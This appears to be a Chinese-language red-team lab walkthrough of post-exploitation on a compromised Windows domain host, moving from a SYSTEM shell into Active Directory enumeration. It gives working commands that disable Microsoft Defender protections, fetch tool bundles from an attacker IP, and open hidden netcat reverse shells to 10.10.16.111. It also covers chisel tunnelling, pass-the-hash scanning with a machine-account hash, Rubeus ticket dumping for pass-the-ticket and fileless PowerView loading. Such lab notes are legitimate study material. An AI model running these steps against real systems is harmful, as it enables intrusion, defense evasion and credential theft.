1 初始立足点与会话控制
核心挑战
在获得
servicedesk主机的SYSTEM权限后,首要任务是将这个立足点转化为一个稳定、高效的操作平台。初始通过漏洞获取的Shell往往交互性差、易中断,无法满足后续复杂操作的需求。
横向移动工具的选择与博弈
psexec.py: 交互性好,是首选。但在一个干净、重置后的目标上,其上传和执行
.exe文件的行为会被 Windows Defender 等防御机制直接拦截,导致失败。smbexec.py: 该工具不上传可执行文件,而是通过创建远程服务来执行命令,可以绕过部分基于文件的检测。然而,它存在两个致命缺陷:
交互性差: 提供的是半交互式 (semi-interactive) Shell,功能严重受限,许多命令(如直接执行
powershell)可能会导致会话卡死。共享冲突 (Sharing Violation): 依赖SMB服务,如果网络中已有其他用户或进程占用了相关资源,会导致连接失败。
最终策略:组合拳
鉴于以上限制,必须采用多步骤组合策略:首先利用
smbexec.py的隐蔽性执行一条关闭防御的命令,然后再使用交互性更好的psexec.py建立稳定的主操作会话。
1.2 防御处置与环境准备
目标: 暂时禁用目标主机上的关键防御功能,为后续工具的上传和执行扫清障碍。
查看防御配置:
在执行修改前,先使用
Get-MpPreference命令查看当前 Microsoft Defender 的详细配置。
Get-MpPreference一键式关闭关键防护:
利用
smbexec.py的半交互式Shell,执行一条“打了就跑”的Set-MpPreference命令,关闭一系列关键防护功能。关键防护选项解析:
DisableRealtimeMonitoring: 禁用实时监控,最核心的防护。DisableBehaviorMonitoring: 禁用行为监控。DisableBlockAtFirstSeen: 禁用云端“首次见到时阻止”功能。DisableIOAVProtection: 禁用对下载文件和附件的扫描。DisableScriptScanning: 禁用脚本扫描,对执行PowerShell脚本至关重要。SubmitSamplesConsent: 设置为从不发送样本(值为0),避免将工具样本上传至云端分析。
执行命令:
powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisablePrivacyMode $true -DisableIntrusionPreventionSystem $true -DisableScriptScanning $true -SubmitSamplesConsent 0"
1.3 文件搬运与工具部署
战略考量: 在实战中,应遵循最小化原则,按需搬运工具。但在当前已取得高权限且防御已临时禁用的受控环境中,可以一次性部署核心工具集,建立“大本营”。
链式部署命令:
使用一行PowerShell命令完成下载、解压、清理和验证的全过程。
powershell -Command "iwr 'http://10.10.16.87/apps/apps.zip' -OutFile 'C:\ProgramData\apps.zip'; if ($?) { Expand-Archive 'C:\ProgramData\apps.zip' -DestinationPath 'C:\ProgramData\apps' }; if ($?) { ri 'C:\ProgramData\apps.zip' }; if ($?) { cd 'C:\ProgramData\apps' }; if ($?) { gci }"命令流程解析:
使用
iwr(Invoke-WebRequest) 下载工具压缩包。使用
;作为命令分隔符,并配合$?(上一条命令的执行状态) 进行逻辑判断。如果下载成功,则使用
Expand-Archive解压。如果解压成功,则使用
ri(Remove-Item) 删除压缩包以减少痕迹。最后,切换目录并使用
gci(Get-ChildItem) 列出文件,确认工具已准备就绪。
1.3.1 带进度条的下载命令
第一种 Start-BitsTransfer,在kali的命令行中不显示,因为不是原生shell
Start-BitsTransfer -Source "http://10.10.16.111/apps.zip" -Destination "C:\ProgramData\apps.zip"下载多个文件:
Start-BitsTransfer `
-Source @("http://example.com/file1.zip", "http://example.com/file2.zip") `
-Destination @("C:\file1.zip", "C:\file2.zip")使用凭据下载
$creds = Get-Credential
Start-BitsTransfer -Source "http://example.com/secure/file.zip" -Destination "C:\file.zip" -Credential $creds第二种 Invoke-WebRequest
实时显示下载数据流
非常不推荐使用,因为传文件巨慢
Writing web request
Writing request stream... (Number of bytes written: 2202634)
PS C:\programdata> gci
Directory: C:\programdata
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/31/2025 10:02 AM apps
d---s- 9/15/2018 12:21 AM Microsoft
d----- 9/15/2018 12:12 AM SoftwareDistribution
d----- 9/5/2020 1:00 PM ssh
d----- 1/1/2020 9:21 AM VMware
-a---- 7/31/2025 9:51 AM 45272 nc641.exe
-a---- 7/31/2025 9:54 AM 4134912 win_us.exe
PS C:\programdata> Invoke-WebRequest -Uri "http://10.10.16.111/apps.zip" -OutFile "apps.zip"1.3.2 解压缩到当前文件夹
Expand-Archive -Path "apps.zip" -DestinationPath ".\" -Force-Path:要解压的压缩文件路径-DestinationPath:解压目标目录,".\"表示当前文件夹-Force:如果目标路径已存在则覆盖(推荐加上)
注意:
Expand-Archive适用于 .zip 格式,不支持.rar等其他格式从 PowerShell 5.0 开始内置(Win10 默认支持)
不需要额外安装 7-Zip 或解压软件
1.4 建立稳定与多路会话
目标: 建立多个、互不干扰的、可随时启用的反向Shell会话,以支持并发操作和复杂的攻击流程。
会话启动方式对比:
阻塞式 (Blocking): 直接执行
nc64.exe会阻塞当前会话,导致“一个换一个”的低效局面。
powershell -c "& 'c:\programdata\nc641.exe' -e powershell.exe 10.10.16.111 443"非阻塞式 - 后台作业 (
Start-Job):原理: 在后台启动一个独立的PowerShell作业来运行
nc64.exe,完全不阻塞当前会话,且隐蔽性较强。缺点: 后台作业的输出和状态不易观察,管理相对复杂。
命令:
powershell -c "Start-Job -ScriptBlock { Start-Process 'c:\programdata\nc641.exe' -ArgumentList '-e', 'powershell.exe 10.10.16.111 443' }"C:\Windows\system32> powershell -c "Start-Job -ScriptBlock { Start-Process 'c:\programdata\nc641.exe' -ArgumentList '-e', 'powershell.exe 10.10.16.111 443' }" Id Name PSJobTypeName State HasMoreData Location Command -- ---- ------------- ----- ----------- -------- ------- 1 Job1 BackgroundJob Running True localhost Start-Process 'c:\pro... C:\Windows\system32>非阻塞式 - 隐藏窗口 (
Start-Process):原理: 通过
Start-Process(别名saps) 启动进程,并附加-WindowStyle Hidden参数,使新进程在后台运行,从而释放当前会话。优点: 既实现了非阻塞,又易于管理,是推荐的稳定方案。
命令:
powershell -c "saps 'c:\programdata\nc641.exe' '-e', 'powershell.exe 10.10.16.111 443' -WindowStyle Hidden"
2 内网存活主机与服务探测
2.1 脚本扫描法 (ICMP Sweep)
战略: 在内网立足点上进行扫描,流量不出网,比通过代理从远端扫描更准确、更隐蔽。
原理: 利用Windows CMD的
for循环和ping命令,对指定IP范围进行批量的ICMP探测。命令: cmd 下执行
for /l %i in (20,1,24) do for /l %j in (1,1,254) do @ping -n 3 -w 100 192.168.%i.%j | find "TTL=" > nul && echo 192.168.%i.%j is up分析: 此方法简单有效,但仅依赖ICMP协议,可能会遗漏禁ping的主机。因此需要与其他方法交叉验证。
2.2 被动信息收集:ARP与DNS缓存
ARP缓存:
命令:
arp -a价值: 查看本机ARP缓存表,被动发现近期有过二层通信的同网段主机,是一种零流量的探测方式。
DNS缓存:
命令:
ipconfig /displaydns价值: 查看本机DNS解析缓存,可以被动发现主机最近访问过的域名及其IP,从中识别出DC、文件服务器、应用服务器等高价值目标。
2.3 主动信息挖掘:DNS查询
目标: 主动查询DNS服务器,挖掘域结构和关键服务,构建网络拓扑。
工具对比:
nslookup: 传统的DNS查询工具,功能基础。
nslookup -type=A gigantichosting.local 192.168.21.10Resolve-DnsName (PowerShell): 功能更强大的现代DNS查询命令,支持
ANY类型查询,能获取更全面的记录。
Resolve-DnsName -Name gigantichosting.local -Type ANY -Server 192.168.21.10分析: 通过对已知的域(如
gigantichosting.local,cubano.local)进行查询,可以逐步揭示多个域之间的关联和各自的域控信息。
2.4 综合扫描:fscan本地应用
原理: fscan是一款集主机存活探测、端口扫描、服务爆破于一体的内网扫描利器,在目标机上直接运行,扫描速度快、信息全面。
命令:
.\fscan.exe -h 192.168.0.0/16 -m smb -user 'SERVICEDESK$' -hash b2e7331134cd40baef89bb017371e5b1
C:\ProgramData\apps>.\FScan_2.0.1.exe -h 192.168.0.0/16 -m smb -user 'SERVICEDESK$' -hash b2e7331134cd40baef89bb017371e5b1
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[1.5s] 加载用户名: 1 个
[1.5s] 用户名总数: 1 个
[1.5s] 已选择服务扫描模式
[1.5s] 开始信息扫描
[1.5s] CIDR范围: 192.168.0.0-192.168.255.255
[1.5s] generate_ip_range_full
[1.5s] 解析CIDR 192.168.0.0/16 -> IP范围 192.168.0.0-192.168.255.255
[1.5s] 最终有效主机数量: 65536
[1.5s] 开始主机扫描
[1.5s] 使用指定插件: smb
[2.1s] [*] 目标 192.168.20.1 存活 (ICMP)
[2.1s] [*] 目标 192.168.20.10 存活 (ICMP)
[2.1s] [*] 目标 192.168.20.15 存活 (ICMP)
[2.1s] [*] 目标 192.168.20.31 存活 (ICMP)
[2.2s] [*] 目标 192.168.21.1 存活 (ICMP)
[2.2s] [*] 目标 192.168.21.123 存活 (ICMP)
[2.2s] [*] 目标 192.168.21.10 存活 (ICMP)
[2.2s] [*] 目标 192.168.21.155 存活 (ICMP)
[2.3s] [*] 目标 192.168.23.1 存活 (ICMP)
[2.3s] [*] 目标 192.168.23.10 存活 (ICMP)
[2.3s] [*] 目标 192.168.23.146 存活 (ICMP)
[2.4s] [*] 目标 192.168.24.1 存活 (ICMP)
[2.4s] [*] 目标 192.168.24.10 存活 (ICMP)
[2.4s] [*] 目标 192.168.24.118 存活 (ICMP)
[2.4s] [*] 目标 192.168.24.155 存活 (ICMP)
[2.6s] [*] 目标 192.168.5.13 存活 (ICMP)
[2.6s] [*] 目标 192.168.5.21 存活 (ICMP)
[2.6s] [*] 目标 192.168.5.231 存活 (ICMP)
[2.6s] [*] 目标 192.168.5.242 存活 (ICMP)
[2.6s] [*] 目标 192.168.5.62 存活 (ICMP)
[2.6s] [*] 目标 192.168.5.74 存活 (ICMP)
[2.6s] [*] 目标 192.168.5.88 存活 (ICMP)
[9.0s] [*] 192.168.0.0/16 存活主机数: 22
[9.1s] [*] 192.168.5.0/24 存活主机数: 7
[9.1s] [*] 192.168.24.0/24 存活主机数: 4
[9.1s] [*] 192.168.20.0/24 存活主机数: 4
[9.1s] [*] 192.168.21.0/24 存活主机数: 4
[9.1s] [*] 192.168.23.0/24 存活主机数: 3
[9.1s] 存活主机数量: 22
[9.1s] 有效端口数量: 233
[9.1s] [*] 端口开放 192.168.20.1:22
[9.1s] [*] 端口开放 192.168.20.1:80
[9.1s] [*] 端口开放 192.168.20.10:445
[9.2s] [*] 端口开放 192.168.20.10:389
[9.2s] [*] 端口开放 192.168.20.10:139
[9.2s] [*] 端口开放 192.168.20.10:135
[9.2s] [*] 端口开放 192.168.20.10:88
[9.2s] [*] 端口开放 192.168.20.15:443
[9.2s] [*] 端口开放 192.168.20.15:80
[12.1s] [*] 端口开放 192.168.20.31:22
[12.1s] [*] 端口开放 192.168.20.31:443
[12.1s] [*] 端口开放 192.168.20.31:8000
[12.1s] [*] 端口开放 192.168.20.31:8080
[12.1s] [*] 端口开放 192.168.20.31:9100
[12.1s] [*] 端口开放 192.168.21.1:80
[12.1s] [*] 端口开放 192.168.21.1:22
[12.1s] [*] 端口开放 192.168.21.123:139
[12.1s] [*] 端口开放 192.168.21.123:445
[12.1s] [*] 端口开放 192.168.21.123:443
[12.1s] [*] 端口开放 192.168.21.123:135
[13.1s] [*] 端口开放 192.168.21.123:8083
[13.1s] [*] 端口开放 192.168.21.10:445
[13.1s] [*] 端口开放 192.168.21.10:139
[13.1s] [*] 端口开放 192.168.21.10:389
[13.1s] [*] 端口开放 192.168.21.10:135
[13.1s] [*] 端口开放 192.168.21.10:88
[14.2s] [*] 端口开放 192.168.21.155:445
[14.2s] [*] 端口开放 192.168.21.155:135
[14.2s] [*] 端口开放 192.168.21.155:80
[14.2s] [*] 端口开放 192.168.21.155:443
[14.2s] [*] 端口开放 192.168.21.155:1433价值: fscan的扫描结果可以对多种探测方法进行交叉验证,并能通过服务爆破直接发现可用的凭据。
2.5 代理穿透扫描:CrackMapExec应用
原理: 当需要在攻击机上使用功能更强大的工具(如CrackMapExec)对内网进行扫描时,需要建立代理隧道。
隧道建立步骤:
目标机 (服务端): 运行
chisel作为SOCKS5代理服务端。
Start-Job -ScriptBlock { & 'c:\ProgramData\chisel_64.exe' server --socks5 --port 8080 }攻击机 (客户端): 运行
chisel作为客户端连接服务端,并在本地建立SOCKS5代理。
sudo chisel client 192.168.21.123:8080 socks配置Proxychains: 在攻击机上编辑
/etc/proxychains4.conf,添加本地代理。
socks5 127.0.0.1 1080执行扫描:
通过
proxychains运行crackmapexec,对内网进行大规模、深入的SMB枚举。
proxychains crackmapexec smb 192.168.0.0/16 -u 'SERVICEDESK$' -H b2e7331134cd40baef89bb017371e5b1
3 侦察成果汇总与分析
3.1 存活主机IP列表汇总
192.168.20.1,192.168.20.10,192.168.20.15,192.168.20.31192.168.21.1,192.168.21.10,192.168.21.123,192.168.21.155192.168.23.1,192.168.23.10,192.168.23.146,192.168.23.164192.168.24.1,192.168.24.10,192.168.24.112,192.168.24.118,192.168.24.155
3.2 IP与域名映射关系分析
4 域枚举:战略、战术与工具 AD 中的权限与特权
4.1 为什么要枚举 AD?
核心技能: Active Directory枚举是红队的核心技能之一,是理解网络结构、发现安全漏洞、制定后续行动计划的关键。
提供价值: 企业网络环境的持续变更(员工、主机、软件、策略的增减)常常引入配置错误,成为安全隐患。通过深入枚举揭示这些强弱点,是红队为客户提供核心价值的体现。
初步信息收集清单: 进入一个新AD环境后,应优先收集以下关键信息:
域功能级别
域密码策略
AD用户列表
AD计算机列表
AD组及成员关系
域信任关系
对象的访问控制列表 (ACL)
组策略对象 (GPO) 信息
远程访问权限
寻找快速突破点: 收集信息后,应立即寻找“快速突破点”,例如发现某个普通用户对一台或多台主机拥有RDP或本地管理员权限,这通常是横向移动的捷径。
4.2 定义区分
Rights (权限): 指用户在系统中执行特定操作的能力,如“本地登录”、“通过RDP登录”等,通常由GPO分配。
Privileges (特权): 指对系统资源进行管理或操作的能力,涉及更低级别的系统功能,如“加载驱动程序”、“管理安全日志”等。
4.3 高权限组
AD中存在许多内置的高权限组,其成员拥有强大的权限和特权,是攻击和防御的焦点。
4.4 SYSTEM 账户的强大之处
NT AUTHORITY\SYSTEM是Windows中的最高权限内置账户,比本地管理员拥有更多特权。在加入域的主机上,
SYSTEM账户可以模拟该主机的计算机账户来与域进行交互和枚举,其权限几乎等同于拥有一个域用户账户。拥有
SYSTEM权限,意味着可以执行Kerberoasting、AS-REP Roasting、令牌模拟、ACL攻击等多种需要域上下文的高级攻击技术。
4.5 核心域枚举工具概览
BloodHound: 用于可视化映射AD关系,规划攻击路径的核心工具。
PowerView/SharpView: 获取AD情景感知的首选PowerShell/C#工具。
NetExec (nxc):
crackmapexec的继任者,用于大规模枚举、凭据验证和横向移动。PingCastle: 审计AD环境安全性的工具,基于风险评估和成熟度模型。
PowerUpSQL: 专注于SQL Server发现、审计和利用的工具。
Rubeus: Kerberos交互与滥用的瑞士军刀。
Mimikatz: 凭据窃取与权限提升的终极工具。
5 Rubeus 工具枚举实践
5.1 Rubeus 简介与准备
定义: Rubeus是一个强大的C#工具集,专门用于与Kerberos协议进行原始交互和攻击滥用。
准备工作:
下载已编译的
Rubeus.exe二进制文件。在攻击机(如Kali)上搭建简易Web服务器。
在目标机的SYSTEM Shell中,使用
Invoke-WebRequest或certutil等命令将其下载到可写目录(如C:\ProgramData)。
5.2 使用 triage 命令进行票据侦察
命令:
PS C:\programdata\apps> .\Rubeus.exe triage
.\Rubeus.exe triage
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
Action: Triage Kerberos Tickets (All Users)
[*] Current LUID : 0x3e7
-----------------------------------------------------------------------------------------------------------------------------
| LUID | UserName | Service | EndTime |
-----------------------------------------------------------------------------------------------------------------------------
| 0x3e7 | servicedesk$ @ GIGANTICHOSTING.LOCAL | krbtgt/MEGABANK.LOCAL | 7/31/2025 7:33:42 PM |
| 0x3e7 | servicedesk$ @ GIGANTICHOSTING.LOCAL | cifs/sccm.GiganticHosting.local | 7/31/2025 7:33:42 PM |
| 0x3e7 | servicedesk$ @ GIGANTICHOSTING.LOCAL | cifs/dc.GiganticHosting.local | 7/31/2025 7:33:42 PM |
| 0x3e7 | servicedesk$ @ GIGANTICHOSTING.LOCAL | ldap/dc.GiganticHosting.local | 7/31/2025 7:33:42 PM |
| 0x3e7 | servicedesk$ @ GIGANTICHOSTING.LOCAL | cifs/dc.GiganticHosting.local/GiganticHosting.local | 7/31/2025 7:33:42 PM |
| 0x3e7 | servicedesk$ @ GIGANTICHOSTING.LOCAL | SERVICEDESK$ | 7/31/2025 7:33:42 PM |
| 0x3e7 | servicedesk$ @ GIGANTICHOSTING.LOCAL | LDAP/dc.GiganticHosting.local/GiganticHosting.local | 7/31/2025 7:33:42 PM |
| 0x3e4 | servicedesk$ @ GIGANTICHOSTING.LOCAL | krbtgt/GIGANTICHOSTING.LOCAL | 7/31/2025 7:33:42 PM |
| 0x3e4 | servicedesk$ @ GIGANTICHOSTING.LOCAL | cifs/dc.GiganticHosting.local | 7/31/2025 7:33:42 PM |
| 0x3e4 | servicedesk$ @ GIGANTICHOSTING.LOCAL | GC/dc.GiganticHosting.local/GiganticHosting.local | 7/31/2025 7:33:42 PM |
| 0x3e4 | servicedesk$ @ GIGANTICHOSTING.LOCAL | ldap/dc.gigantichosting.local/GiganticHosting.local | 7/31/2025 7:33:42 PM |
-----------------------------------------------------------------------------------------------------------------------------
PS C:\programdata\apps> 功能: 该命令用于对当前系统的Kerberos票据进行“分诊”,即快速收集并显示所有用户在所有登录会话中缓存的Kerberos票据(包括TGTs和服务票据),是快速了解当前认证状态的首选命令。
输出解读:
LUID (Logon ID): 登录会话的唯一标识符。UserName: 票据所属的用户名。Service: 票据对应的服务名(SPN),如krbtgt/DOMAIN.LOCAL。EndTime: 票据的过期时间。
价值: 通过
triage的输出,可以快速了解当前系统中有哪些用户的票据被缓存,以及这些票据可以用于访问哪些服务,为后续的票据窃取和利用提供情报。
5.3 使用 dump 命令转储票据详情
命令:
.\Rubeus.exe dump功能:
dump命令会更详细地列出所有Kerberos票据的完整信息,包括用于后续攻击所需的Base64编码的票据本身和会话密钥。输出解读:
LogonId: 登录会话ID。UserSID: 用户的安全标识符。ServiceName: 票据对应的SPN。Flags: 票据的属性,如forwardable,renewable,pre_authent等。KeyType: 会话密钥的加密类型,如aes256_cts_hmac_sha1。Base64 (key): 会话密钥的Base64编码。Base64EncodedTicket: 票据本身的Base64编码。
价值:
dump命令获取的票据和密钥可直接用于票据传递 (Pass-the-Ticket) 攻击,是横向移动的核心技术之一。
6 PowerView 深度学习与实践
6.1 PowerView 概述与重要性
定义: 一个功能强大的PowerShell脚本,属于PowerSploit项目,专用于Active Directory环境的侦察和枚举。
为何依然重要: 尽管其原始GitHub仓库已归档多年,但PowerView的功能和设计理念已成为域渗透的基础。其核心功能被Empire等更新的框架所继承和演进。在实战中,它仍然是所有红队/渗透测试人员都在使用的核心工具之一。
核心功能: 用户/组枚举、计算机/服务器发现、域信任映射、权限枚举 (ACL/GPO)、识别横向移动路径等。
6.2 PowerView vs PowerShell AD 模块
6.3 PowerView vs SharpView
关系: SharpView是PowerView的.NET (C#) 移植版。
主要区别:
PowerView (PowerShell): 输出为PowerShell对象,可通过管道 (
|) 灵活地进行筛选、排序和进一步处理,适合动态数据处理。SharpView (.NET/EXE): 输出为字符串,不依赖PowerShell环境,但需要额外的文本解析。在对抗安全监控时可能更隐蔽。
选择策略: 两者结合使用,PowerView适合深度集成和动态数据处理,SharpView在独立部署和隐蔽性方面有优势。
6.4 PowerView 学习方法:探索式掌握
挑战: PowerView功能繁多,命令参数复杂,死记硬背效率低下且容易忘记。
探索式学习法:
加载前: 在PowerShell中,获取当前会话中的所有函数列表,并存入一个变量。
$currentFunctions = Get-ChildItem function:加载PowerView: 通过内存加载,避免文件落地。
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://10.10.16.111/apps/PowerView.ps1')加载后: 再次获取函数列表,与加载前的列表做差集,即可得到PowerView新增的所有函数。
$scriptFunctions = Get-ChildItem function: | Where-Object { $currentFunctions -notcontains $_ } $scriptFunctions | Format-Wide -Column 4优势: 此方法无需依赖外部文档,能精确地、原生地获知当前版本的PowerView提供了哪些可用功能,是最优雅、最可靠的学习和探索方式。
完整版本
#先提条件-设置执行策略 Set-ExecutionPolicy Unrestricted # 1. 保存加载前的函数列表 $currentFunctions = Get-ChildItem function: # 2. 从内存加载PowerView Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://<Your_IP>/PowerView.ps1') Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://10.10.16.111/powershell/PowerView.ps1') # vshell版本命令 . .\PowerView.ps1 # 3. 找出新增的函数 $scriptFunctions = Get-ChildItem function: | Where-Object { $currentFunctions -notcontains $_ } # 4. 以多列格式显示新增的函数名 $scriptFunctions | Format-Wide -Column 4
6.5 PowerView 功能模块详解 (完整列表)
PowerView的功能可分为几大类,覆盖了域枚举的方方面面:
杂项功能: 提供各种实用工具,例如转换UAC值、SID转换、用户模拟、Kerberoasting等。
域/LDAP功能: 枚举域、森林、DC、用户、组、计算机、OU、GPO、ACL等几乎所有AD对象。
GPO功能: 专门用于枚举GPO及其与用户/计算机的关联。
计算机枚举功能: 枚举远程主机上的本地组、共享、登录会话、RDP会话等。
线程化的“元”功能: 组合基础功能,执行更复杂的侦察任务,如查找特定用户登录在哪台机器上、查找全域可访问的共享等。
域信任功能: 枚举域与森林之间的信任关系。
6.6 PowerView 实践:核心枚举操作
6.6.1 杂项功能实践
SID 与用户名的转换:
ConvertTo-SID -UserName "Domain Admins"
Convert-ADName -ObjectName "S-1-5-..."UAC 值转换:
Get-DomainUser "someuser" | ConvertFrom-UACValue -ShowAll6.6.2 域/LDAP 功能实践
获取域和 DC 信息:
PS C:\programdata\apps> Get-NetDomain
Forest : GiganticHosting.local
DomainControllers : {dc.GiganticHosting.local}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : dc.GiganticHosting.local
RidRoleOwner : dc.GiganticHosting.local
InfrastructureRoleOwner : dc.GiganticHosting.local
Name : GiganticHosting.localPS C:\programdata\apps> Get-NetDomainController
Forest : GiganticHosting.local
CurrentTime : 7/31/2025 8:39:49 PM
HighestCommittedUsn : 274634
OSVersion : Windows Server 2019 Standard
Roles : {SchemaRole, NamingRole, PdcRole, RidRole...}
Domain : GiganticHosting.local
IPAddress : 192.168.21.10
SiteName : Default-First-Site-Name
SyncFromAllServersCallback :
InboundConnections : {}
OutboundConnections : {}
Name : dc.GiganticHosting.local
Partitions : {DC=GiganticHosting,DC=local, CN=Configuration,DC=GiganticHosting,DC=local,
CN=Schema,CN=Configuration,DC=GiganticHosting,DC=local, DC=DomainDnsZones,DC=GiganticHosting,DC=local...}PS C:\programdata\apps> Get-NetDomainController -Domain megabank.local
Forest : megabank.local
CurrentTime : 7/31/2025 7:39:13 PM
HighestCommittedUsn : 250300
OSVersion : Windows Server 2019 Standard
Roles : {SchemaRole, NamingRole, PdcRole, RidRole...}
Domain : megabank.local
IPAddress : 192.168.24.10
SiteName : Default-First-Site-Name
SyncFromAllServersCallback :
InboundConnections : {}
OutboundConnections : {}
Name : primary.megabank.local
Partitions : {DC=megabank,DC=local, CN=Configuration,DC=megabank,DC=local,
CN=Schema,CN=Configuration,DC=megabank,DC=local,
DC=ForestDnsZones,DC=megabank,DC=local ...}Forest / Domain 目标域名是 megabank.local
Name 域控制器主机名是 primary.megabank.local
IPAddress 域控 IP 是 192.168.24.10(后续命令要用)
OSVersion 是 Windows Server 2019,功能完整,支持 LDAP/SMB
Roles 域控具备 Schema、PDC、RID 等主角色
SiteName 默认站点名称 Default-First-Site-Name
Partitions 包含 AD 配置分区,支持 LDAP 查询
枚举 OU (组织单位):
Get-NetOU枚举用户 (可Kerberoasting):
Get-NetUser -SPN | Select-Object samaccountname, serviceprincipalname枚举计算机 (无约束委派):
Get-NetComputer -Unconstrained6.6.3 GPO 功能实践
枚举所有 GPO:
Get-NetGPO查找特定计算机应用的 GPO:
Get-NetGPO -ComputerName "DC01"6.6.4 计算机枚举实践
测试管理员访问权限:
Test-AdminAccess -ComputerName "SRV01"枚举远程共享:
Get-NetShare -ComputerName "FILESRV01"枚举本地组成员:
Get-NetLocalGroupMember -ComputerName "WKS01" -GroupName "Administrators"枚举域内共享资源
PS C:\programdata\apps> Find-DomainShare -ComputerDomain megabank.local
Name Type Remark ComputerName
IPC$ 2147483651 Remote IPC primary.megabank.local
GON 0 Logon server share primary.megabank.local
SYSVOL 0 Logon server share primary.megabank.local
IPC$ 2147483651 Remote IPC server05.megabank.local6.6.5 “元”功能实践
查找用户登录位置:
Find-UserLogonLocation -User "someadmin"查找域内可访问的共享:
PS C:\programdata\apps> Invoke-ShareFinder
Name Type Remark ComputerName
---- ---- ------ ------------
ADMIN$ 2147483648 Remote Admin dc.GiganticHosting.local
C$ 2147483648 Default share dc.GiganticHosting.local
IPC$ 2147483651 Remote IPC dc.GiganticHosting.local
NETLOGON 0 Logon server share dc.GiganticHosting.local
SYSVOL 0 Logon server share dc.GiganticHosting.local
ADMIN$ 2147483648 Remote Admin sccm.GiganticHosting.local
AdminUIContentPayload 0 AdminUIContentPayload share for AdminUIContent Packages sccm.GiganticHosting.local
C$ 2147483648 Default share sccm.GiganticHosting.local
EasySetupPayload 0 EasySetupPayload share for EasySetup Packages sccm.GiganticHosting.local
IPC$ 2147483651 Remote IPC sccm.GiganticHosting.local
SCCMContentLib$ 0 'Configuration Manager' Content Library for site GH1 (1/6/2020) sccm.GiganticHosting.local
SMSPKGC$ 0 SMS Site GH1 DP 1/6/2020 sccm.GiganticHosting.local
SMSSIG$ 0 SMS Site GH1 DP 1/6/2020 sccm.GiganticHosting.local
SMS_CPSC$ 0 SMS Compressed Package Storage sccm.GiganticHosting.local
SMS_DP$ 0 ConfigMgr Site Server DP share sccm.GiganticHosting.local
SMS_GH1 0 SMS Site GH1 01/06/20 sccm.GiganticHosting.local
SMS_OCM_DATACACHE 0 OCM inbox directory sccm.GiganticHosting.local
SMS_SITE 0 SMS Site GH1 01/06/20 sccm.GiganticHosting.local
SMS_SUIAgent 0 SMS Software Update Installation Agent -- 01/06/20 sccm.GiganticHosting.local
ADMIN$ 2147483648 Remote Admin servicedesk.GiganticHosting.local
C$ 2147483648 Default share servicedesk.GiganticHosting.local
IPC$ 2147483651 Remote IPC servicedesk.GiganticHosting.local成功列出当前域内共享(GiganticHosting.local)
你运行的 Invoke-ShareFinder 成功列出了以下域内主机及共享资源:
域控主机
dc.GiganticHosting.localSCCM 主机
sccm.GiganticHosting.local服务台主机
servicedesk.GiganticHosting.local
说明:
你已经处于 GiganticHosting.local 域中(或至少具备访问权限)
PowerView 可以通过
NetSessionEnum或NetShareEnum枚举出本域的共享资源
查找当前用户拥有本地管理员权限的机器:
Find-LocalAdminAccess6.6.6 域信任功能实践
枚举域信任:
Get-NetDomainTrust映射所有信任关系:
PS C:\programdata\apps> Invoke-MapDomainTrust
SourceName : GiganticHosting.local
TargetName : megabank.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Inbound
WhenCreated : 1/27/2020 5:01:57 PM
WhenChanged : 7/31/2025 5:03:25 PM当前域 GiganticHosting.local 信任 megabank.local
这是一个 单向信任(inbound):
表示 megabank 的用户可以访问 GiganticHosting
反过来不行:GiganticHosting 域的用户 无法直接访问 megabank.local
7 Active Directory 与 LDAP 核心概念
7.1 Active Directory 结构
层次化结构: AD以 森林 (Forest) -> 域 (Domain) -> 组织单位 (OU) 的层次化树状结构排列。
森林 (Forest): 一个或多个域的集合,是AD的最高层级和安全边界。
域 (Domain): 包含用户、计算机、组等对象的管理单元。
组织单位 (OU): 域内用于组织对象的容器,是应用组策略(GPO)的最小单位,便于委派管理。
7.2 LDAP 协议概述与交互
定义: 轻量级目录访问协议 (LDAP) 是Active Directory的核心通信协议,用于查询和修改目录服务中的信息。AD与LDAP的关系可以通俗地理解为Web服务器(Apache)与通信协议(HTTP)的关系。
认证 (Bind): LDAP会话通过“绑定(BIND)”操作进行认证,主要支持两种方式:
简单认证: 直接使用明文用户名和密码,不安全。
SASL认证: 结合其他认证服务(如Kerberos)进行绑定,是更安全的方式。
匿名绑定: 如果域控配置不当,可能允许匿名绑定,使未经身份验证的攻击者能够查询大量域信息,是严重的安全风险。
查询: 使用标准的LDAP查询语法与目录服务通信以请求信息,例如
(objectCategory=computer)用于查询所有计算机对象。
7.3 AD 搜索过滤器详解
在PowerShell AD模块中,主要使用两种过滤器语法:
PowerShell过滤器 (
-Filter)语法更接近自然语言,易于编写和阅读,例如
"name -eq 'sally jones'"。使用
-like操作符和通配符*进行模糊匹配。
LDAP过滤器 (
-LDAPFilter)采用严格的LDAP语法 (RFC 4515),通用性更强。
语法: 采用波兰表示法,逻辑运算符(
&=AND,|=OR,!=NOT)前置,并用括号包裹。例如(&(objectClass=user)(displayName=Smith))。匹配规则OID: 可以使用特殊的OID进行高级匹配,其中最常用的是:
1.2.840.113556.1.4.803: 按位与 (BIT_AND),常用于精确匹配userAccountControl这类复合标志位属性。1.2.840.113556.1.4.1941: 链式匹配 (Recursive Match),用于递归查询,最典型的应用是查找用户所属的所有嵌套组。
SearchBase和SearchScope:SearchBase: 指定搜索的起始OU,用于缩小搜索范围,提高效率。SearchScope: 定义搜索深度,可选Base(仅自身)、OneLevel(下一级)、Subtree(所有子级)。
8 总结与后续展望
